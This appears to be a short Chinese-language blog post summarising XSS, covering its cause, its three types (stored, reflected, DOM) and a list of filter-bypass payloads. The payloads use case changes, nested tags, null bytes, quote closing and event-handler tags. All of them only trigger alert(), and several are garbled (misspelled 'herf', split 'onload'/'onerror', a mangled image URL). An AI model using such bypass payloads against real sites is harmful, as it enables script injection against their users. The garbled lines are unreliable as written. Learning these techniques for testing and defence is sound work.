主頁 >  其他 > xss原理繞過防御個人總結

xss原理繞過防御個人總結

2020-09-18 11:44:47 其他

xss原理

xss產生的原因是將惡意的html腳本代碼插入web頁面,底層原理和sql注入一樣,都是因為js和php等都是解釋性語言,會將輸入的當做命令執行,所以可以注入惡意代碼執行我們想要的內容

xss分類

  • 存盤型xss:
    js腳本代碼會插入資料庫,具有一定的持久性
  • 反射型xss:
    js經過后端php等語言處理
  • dom型xss:
    和反射型xss類似,但是不經過后端服務器的處理

xss繞過總結:

自身繞過

<script>alert('xss')</script>  //沒有過濾
<Script>alert('xss')</Script> //大小寫繞過
<scscriptript>alert('xss')</scscriptript> //嵌套繞過
<sc\x00ript>alert('xss')</sc\x00ript> //空位元組繞過
" oonnclick=alert('XSS') //           //閉合單雙引號繞過(對于html物體輸入的和過濾< >)

其他標簽繞過

<a herf="javascript:alert(1)">show</a> 
<body onl oad=alert(1)>
<input type=image src=https://www.cnblogs.com/Lmg66/p/x:x one rror=alert(1)>